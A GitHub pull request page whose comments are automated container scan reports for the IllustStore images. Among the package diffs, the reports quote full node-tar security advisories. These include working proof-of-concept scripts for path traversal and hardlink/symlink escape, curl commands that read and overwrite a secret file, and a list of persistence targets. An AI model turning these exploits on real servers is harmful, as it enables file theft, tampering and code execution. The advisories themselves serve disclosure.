Separate PR and push Docker build by mkaraki · Pull Request #188 · mkaraki/IllustStore

mkaraki · 2026-02-10T00:36:19Z

No description provided.

github-actions · 2026-02-10T00:37:00Z

Overview

Image reference	`ghcr.io/mkaraki/illuststore-imgserver:master`	`ghcr.io/mkaraki/illuststore-imgserver:pr-188`
- digest	`4bb1815d972c`	`0fa221c3a739`
- tag	`master`	`pr-188`
- provenance	`054637f`	`5ad6af6`
- vulnerabilities
- platform	linux/amd64	linux/amd64
- size	7.2 MB	8.3 MB (+1.1 MB)
- packages	0	0

Labels (3 changes)

± 3 changed

5 unchanged

-org.opencontainers.image.created=2026-02-10T00:17:45.946Z
+org.opencontainers.image.created=2026-02-10T04:13:47.456Z
 org.opencontainers.image.description=AI powered illustration vault web app
 org.opencontainers.image.licenses=GPL-3.0
-org.opencontainers.image.revision=054637fbe32bac92c72f51ab04e51adcd47fc695
+org.opencontainers.image.revision=5ad6af62dc219259389bfc95e0b6580da2b9b568
 org.opencontainers.image.source=https://github.com/mkaraki/IllustStore
 org.opencontainers.image.title=IllustStore
 org.opencontainers.image.url=https://github.com/mkaraki/IllustStore
-org.opencontainers.image.version=master
+org.opencontainers.image.version=pr-188

Policies (0 improved, 0 worsened, 4 missing data)

Policy Name	`ghcr.io/mkaraki/illuststore-imgserver:master`	`ghcr.io/mkaraki/illuststore-imgserver:pr-188`
Default non-root user	❓ No data	⚠️
No AGPL v3 licenses	❓ No data	❓ No data
No fixable critical or high vulnerabilities	❓ No data	✅
No high-profile vulnerabilities	❓ No data	✅
No outdated base images	❓ No data	❓ No data
No unapproved base images	❓ No data	❓ No data
SonarQube quality gates passed	❓ No data	❓ No data
Supply chain attestations	❓ No data	⚠️ 2

github-actions · 2026-02-10T00:37:02Z

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-imgserver:pr-188`

📦 Image Reference ghcr.io/mkaraki/illuststore-imgserver:pr-188

digest	`sha256:0fa221c3a73932a34db2bff3d17c6d8b8b4ae6ed754ab705bff5167c07abb059`
vulnerabilities
platform	linux/amd64
size	8.3 MB
packages	0

github-actions · 2026-02-10T00:37:05Z

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-imgserver:pr-188`

📦 Image Reference ghcr.io/mkaraki/illuststore-imgserver:pr-188

digest	`sha256:0fa221c3a73932a34db2bff3d17c6d8b8b4ae6ed754ab705bff5167c07abb059`
vulnerabilities
platform	linux/amd64
size	8.3 MB
packages	0

github-advanced-security · 2026-02-10T00:37:09Z

This pull request sets up GitHub code scanning for this repository. Once the scans have completed and the checks have passed, the analysis results for this pull request branch will appear on this overview. Once you merge this pull request, the 'Security' tab will show more code scanning analysis results (for example, for the default branch). Depending on your configuration and choice of analysis tool, future pull requests will be annotated with code scanning analysis results. For more information about GitHub code scanning, check out the documentation.

github-actions · 2026-02-10T00:38:35Z

Qodana for Python

It seems all right 👌

No new problems were found according to the checks applied

💡 Qodana analysis was run in the pull request mode: only the changed files were checked
☁️ View the detailed Qodana report

Contact Qodana team

Contact us at qodana-support@jetbrains.com

Or via our issue tracker: https://jb.gg/qodana-issue
Or share your feedback: https://jb.gg/qodana-discussions

github-actions · 2026-02-10T00:39:58Z

Overview

Image reference	`ghcr.io/mkaraki/illuststore-viewer:master`	`ghcr.io/mkaraki/illuststore-viewer:pr-188`
- digest	`12d03b32eab3`	`51c8cf4816a9`
- tag	`master`	`pr-188`
- provenance	`fda5b1c`	`5ad6af6`
- vulnerabilities
- platform	linux/amd64	linux/amd64
- size	310 MB	353 MB (+42 MB)
- packages	855	913 (+58)
Base Image	`php:php8.4.16` also known as: • `8.4-zts-trixie`	`php:8.4-zts-trixie`
- vulnerabilities

Labels (3 changes)

± 3 changed

6 unchanged

-org.opencontainers.image.created=2026-02-06T17:47:29.204Z
+org.opencontainers.image.created=2026-02-10T04:13:47.873Z
 org.opencontainers.image.description=AI powered illustration vault web app
 org.opencontainers.image.licenses=GPL-3.0
-org.opencontainers.image.revision=fda5b1c541b13ec30bfc95492acaaf4f3ba69654
+org.opencontainers.image.revision=5ad6af62dc219259389bfc95e0b6580da2b9b568
 org.opencontainers.image.source=https://github.com/mkaraki/IllustStore
 org.opencontainers.image.title=IllustStore
 org.opencontainers.image.url=https://github.com/mkaraki/IllustStore
 org.opencontainers.image.vendor=Kévin Dunglas
-org.opencontainers.image.version=master
+org.opencontainers.image.version=pr-188

Policies (0 improved, 0 worsened, 3 missing data)

Policy Name	`ghcr.io/mkaraki/illuststore-viewer:master`	`ghcr.io/mkaraki/illuststore-viewer:pr-188`
Default non-root user	❓ No data	✅
No AGPL v3 licenses	❓ No data	✅
No fixable critical or high vulnerabilities	❓ No data	⚠️ 13
No high-profile vulnerabilities	❓ No data	✅
No outdated base images	❓ No data	❓ No data
No unapproved base images	❓ No data	❓ No data
SonarQube quality gates passed	❓ No data	❓ No data
Supply chain attestations	❓ No data	⚠️ 2

Packages and Vulnerabilities (143 package changes and 0 vulnerability changes)

➕ 90 packages added

➖ 45 packages removed

♾️ 8 packages changed

776 packages unchanged

Changes for packages of type deb (58 changes)

	Package	Version `ghcr.io/mkaraki/illuststore-viewer:master`	Version `ghcr.io/mkaraki/illuststore-viewer:pr-188`
➕	acl		`2.3.2-2`
➕	argon2		`0~20190702+dfsg-4`
➕	attr		`1:2.5.2-3`
➕	audit		`1:4.0.2-2`
➕	brotli		`1.1.0-2`
➕	cdebconf		`0.280`
➕	cyrus-sasl2		`2.1.28+dfsg1-9`
➕	db5.3		`5.3.28+dfsg2-9`
➕	e2fsprogs		`1.47.2-3`
➕	gcc-defaults		`1.220`
➕	gdbm		`1.24-2`
➕	glibc		`2.41-12`
➕	gmp		`2:6.3.0+dfsg-3`
➕	gnutls28		`3.8.9-3`
➕	isl		`0.27-1`
➕	jansson		`2.14-2`
➕	keyutils		`1.6.3-6`
➕	krb5		`1.21.3-5`
➕	libbsd		`0.12.2-2`
➕	libcap-ng		`0.8.5-4`
♾️	libcap2	`1:2.75-10+b1`	`1:2.75-10`
➕	libffi		`3.4.8-2`
➕	libidn2		`2.3.8-2`
➕	libmd		`1.1.0-2`
➕	libmemcached		`1.1.4-1.1`
➕	libonig		`6.9.9-1`
➕	libpsl		`0.21.2-1.1`
➕	libseccomp		`2.6.0-2`
➕	libselinux		`3.8.1-1`
➕	libsemanage		`3.8.1-1`
➕	libsepol		`3.8.1-1`
➕	libsodium		`1.0.18-1`
➕	libssh2		`1.11.1-1`
➕	libunistring		`1.3-2`
➕	libxcrypt		`1:4.4.38-1`
➕	libzstd		`1.5.7+dfsg-1`
➕	linux		`6.12.57-1`
➕	lz4		`1.10.0-4`
➕	make-dfsg		`4.4.1-2`
➕	mpclib3		`1.3.1-1`
➕	mpfr4		`4.2.2-1`
➕	ncurses		`6.5+20250216-2`
➕	nettle		`3.10.1-1`
➕	nghttp2		`1.64.0-1.1`
➕	nghttp3		`1.8.0-1`
➕	openldap		`2.6.10+dfsg-1`
➕	p11-kit		`0.25.5-3`
➕	pam		`1.7.0-5`
➕	pcre2		`10.46-1~deb13u1`
➕	readline		`8.2-6`
➕	rtmpdump		`2.4+20151223.gitfa8646d.1-2`
➕	rust-sequoia-sqv		`1.3.0-3`
➕	shadow		`1:4.17.4-2`
➕	sqlite3		`3.46.1-7`
➕	systemd		`257.9-1~deb13u1`
➕	sysvinit		`3.14-4`
➕	xxhash		`0.8.3-2`
➕	zlib		`1:1.3.dfsg+really1.3.1-1`

Changes for packages of type golang (82 changes)

	Package	Version `ghcr.io/mkaraki/illuststore-viewer:master`	Version `ghcr.io/mkaraki/illuststore-viewer:pr-188`
➕	..		`UNKNOWN`
♾️	cloud.google.com/go/auth/oauth2adapt	`0.18.0`	`0.2.8`
➖	cloud.google.com/go/auth/oauth2adapt	`0.2.8`
➕	cloud.google.com/go/compute/metadata		`0.9.0`
➖	cloud.google.com/go/compute/metadata	`0.9.0`
➖	github.com/alecthomas/chroma/v2	`2.21.0`
➕	github.com/alecthomas/chroma/v2		`2.21.0`
➕	github.com/antlr4-go/antlr/v4		`4.13.1`
➖	github.com/antlr4-go/antlr/v4	`4.13.1`
➕	github.com/caddyserver/caddy/v2		`2.10.2`
➖	github.com/caddyserver/caddy/v2	`2.10.2`
➕	github.com/ccoveille/go-safecast/v2		`2.0.0`
➖	github.com/ccoveille/go-safecast/v2	`2.0.0`
➖	github.com/cenkalti/backoff/v5	`5.0.3`
➕	github.com/cenkalti/backoff/v5		`5.0.3`
➖	github.com/cespare/xxhash/v2	`2.3.0`
➕	github.com/cespare/xxhash/v2		`2.3.0`
➕	github.com/coreos/go-oidc/v3		`3.17.0`
➖	github.com/coreos/go-oidc/v3	`3.17.0`
➕	github.com/cpuguy83/go-md2man/v2		`2.0.7`
➖	github.com/cpuguy83/go-md2man/v2	`2.0.7`
♾️	github.com/dunglas/frankenphp/caddy	`UNKNOWN`	`0.0.0-20251220081623-57c58faf1c67`
➖	github.com/dunglas/frankenphp/caddy	`0.0.0-20251220081623-57c58faf1c67`
➖	github.com/dunglas/mercure/caddy	`0.21.4`
➖	github.com/dunglas/vulcain/caddy	`1.2.1`
➕	github.com/e-dant/watcher/watcher-go		`0.0.0-20251208164151-f88ec3b7e146`
➖	github.com/e-dant/watcher/watcher-go	`0.0.0-20251208164151-f88ec3b7e146`
♾️	github.com/evanw/esbuild	`0.0.0-20251015021112-6b7c4f2dcbca`	`UNKNOWN`
➕	github.com/fxamacker/cbor/v2		`2.9.0`
➖	github.com/fxamacker/cbor/v2	`2.9.0`
➕	github.com/go-chi/chi/v5		`5.2.3`
➖	github.com/go-chi/chi/v5	`5.2.3`
➖	github.com/go-jose/go-jose/v3	`3.0.4`
➕	github.com/go-jose/go-jose/v4		`4.1.3`
➖	github.com/go-jose/go-jose/v4	`4.1.3`
➕	github.com/go-openapi/swag/jsonname		`0.25.4`
➖	github.com/go-openapi/swag/jsonname	`0.25.4`
♾️	github.com/gofrs/uuid/v5	`4.4.0+incompatible`	`5.4.0`
➖	github.com/gofrs/uuid/v5	`5.4.0`
➖	github.com/golang-jwt/jwt/v5	`5.3.0`
➕	github.com/golang-jwt/jwt/v5		`5.3.0`
➕	github.com/google/brotli/go/cbrotli		`1.1.0`
➖	github.com/google/brotli/go/cbrotli	`1.1.0`
➖	github.com/googleapis/gax-go/v2	`2.15.0`
➕	github.com/googleapis/gax-go/v2		`2.15.0`
➖	github.com/grpc-ecosystem/grpc-gateway/v2	`2.27.3`
➕	github.com/grpc-ecosystem/grpc-gateway/v2		`2.27.3`
➕	github.com/klauspost/cpuid/v2		`2.3.0`
➖	github.com/klauspost/cpuid/v2	`2.3.0`
➕	github.com/masterminds/semver/v3		`3.4.0`
➖	github.com/masterminds/semver/v3	`3.4.0`
➖	github.com/masterminds/sprig/v3	`3.3.0`
➕	github.com/masterminds/sprig/v3		`3.3.0`
➕	github.com/maypok86/otter/v2		`2.2.1`
➖	github.com/maypok86/otter/v2	`2.2.1`
➕	github.com/mholt/acmez/v3		`3.1.4`
➖	github.com/mholt/acmez/v3	`3.1.4`
➖	github.com/micahparks/keyfunc/v3	`3.7.0`
➕	github.com/micahparks/keyfunc/v3		`3.7.0`
➕	github.com/roaringbitmap/roaring/v2		`2.14.4`
➖	github.com/roaringbitmap/roaring/v2	`2.14.4`
➖	github.com/russross/blackfriday/v2	`2.1.0`
➕	github.com/russross/blackfriday/v2		`2.1.0`
➖	github.com/yosida95/uritemplate/v3	`3.0.2`
➕	github.com/yosida95/uritemplate/v3		`3.0.2`
➕	github.com/yuin/goldmark-highlighting/v2		`2.0.0-20230729083705-37449abec8cc`
➖	github.com/yuin/goldmark-highlighting/v2	`2.0.0-20230729083705-37449abec8cc`
➕	go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp		`0.64.0`
➖	go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp	`0.64.0`
➖	go.opentelemetry.io/contrib/propagators/autoprop	`0.64.0`
➖	go.opentelemetry.io/contrib/propagators/aws	`1.39.0`
➖	go.opentelemetry.io/contrib/propagators/b3	`1.39.0`
➖	go.opentelemetry.io/contrib/propagators/jaeger	`1.39.0`
➖	go.opentelemetry.io/contrib/propagators/ot	`1.39.0`
➕	go.opentelemetry.io/contrib/propagators/ot		`1.39.0`
➖	go.opentelemetry.io/otel/exporters/otlp/otlptrace	`1.39.0`
➖	go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc	`1.39.0`
➕	go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc		`1.39.0`
➖	golang.org/x/crypto/x509roots/fallback	`0.0.0-20251210140736-7dacc380ba00`
➖	google.golang.org/genproto/googleapis/api	`0.0.0-20251213004720-97cd9d5aeac2`
➖	google.golang.org/genproto/googleapis/rpc	`0.0.0-20251213004720-97cd9d5aeac2`
➕	google.golang.org/genproto/googleapis/rpc		`0.0.0-20251213004720-97cd9d5aeac2`

Changes for packages of type npm (3 changes)

	Package	Version `ghcr.io/mkaraki/illuststore-viewer:master`	Version `ghcr.io/mkaraki/illuststore-viewer:pr-188`
♾️	@parcel/watcher	`2.5.4`	`2.5.6`
♾️	@parcel/watcher-linux-x64-glibc	`2.5.4`	`2.5.6`
♾️	@parcel/watcher-linux-x64-musl	`2.5.4`	`2.5.6`

github-actions · 2026-02-10T00:40:01Z

🔍 Vulnerabilities of `ghcr.io/mkaraki/illuststore-viewer:pr-188`

📦 Image Reference ghcr.io/mkaraki/illuststore-viewer:pr-188

digest	`sha256:51c8cf4816a9e46bf588befc174173a5aadbbdff5e4fbcf430d3a06a44d7aa08`
vulnerabilities
platform	linux/amd64
size	353 MB
packages	913

📦 Base Image php:8.4-zts-trixie

also known as	`8.4.16-zts-trixie`
digest	`sha256:d1d9112072565f0070e404c0b290c31027495b591ba89bd5231f90d618154936`
vulnerabilities

stdlib 1.23.12 (golang)

pkg:golang/stdlib@1.23.12

Affected range	`<1.24.11`
Fixed version	`1.24.11`
EPSS Score	`0.017%`
EPSS Percentile	`3rd percentile`

Description

Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

Affected range	`<1.24.12`
Fixed version	`1.24.12`
EPSS Score	`0.023%`
EPSS Percentile	`6th percentile`

Description

The net/url package does not set a limit on the number of query parameters in a query.

While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.031%`
EPSS Percentile	`9th percentile`

Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.038%`
EPSS Percentile	`11th percentile`

Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

Affected range	`<1.24.8`
Fixed version	`1.24.8`
EPSS Score	`0.018%`
EPSS Percentile	`4th percentile`

Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

Affected range	`<1.24.9`
Fixed version	`1.24.9`
EPSS Score	`0.018%`
EPSS Percentile	`4th percentile`

Description

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

tar 7.5.1 (npm)

pkg:npm/tar@7.5.1

Improper Handling of Unicode Encoding

Affected range	`<=7.5.3`
Fixed version	`7.5.4`
CVSS Score	`8.8`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L`
EPSS Score	`0.015%`
EPSS Percentile	`3rd percentile`

Description

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});
Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`<7.5.7`
Fixed version	`7.5.7`
CVSS Score	`8.2`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N`
EPSS Score	`0.025%`
EPSS Percentile	`6th percentile`

Description

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:
poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt
Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector Target File Result

SSH Access ~/.ssh/authorized_keys Direct shell access to server

Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution

Shell RC Files ~/.bashrc, ~/.profile Code execution on user login

Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests

Systemd Services /etc/systemd/system/*.service Code execution on service restart

User Creation /etc/passwd (if running as root) Add new privileged user

Data Exfiltration & Corruption

Overwrite arbitrary files via hardlink escape + subsequent write operations

Read sensitive files by creating hardlinks that point outside extraction directory

Corrupt databases and application state

Steal credentials from config files, .env, secrets

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`<=7.5.2`
Fixed version	`7.5.3`
CVSS Score	`8.2`
CVSS Vector	`CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N`
EPSS Score	`0.009%`
EPSS Percentile	`1st percentile`

Description

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})
Impact

Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.

Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)

qs 6.14.0 (npm)

pkg:npm/qs@6.14.0

Improper Input Validation

Affected range	`<6.14.1`
Fixed version	`6.14.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.163%`
EPSS Percentile	`37th percentile`

Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}
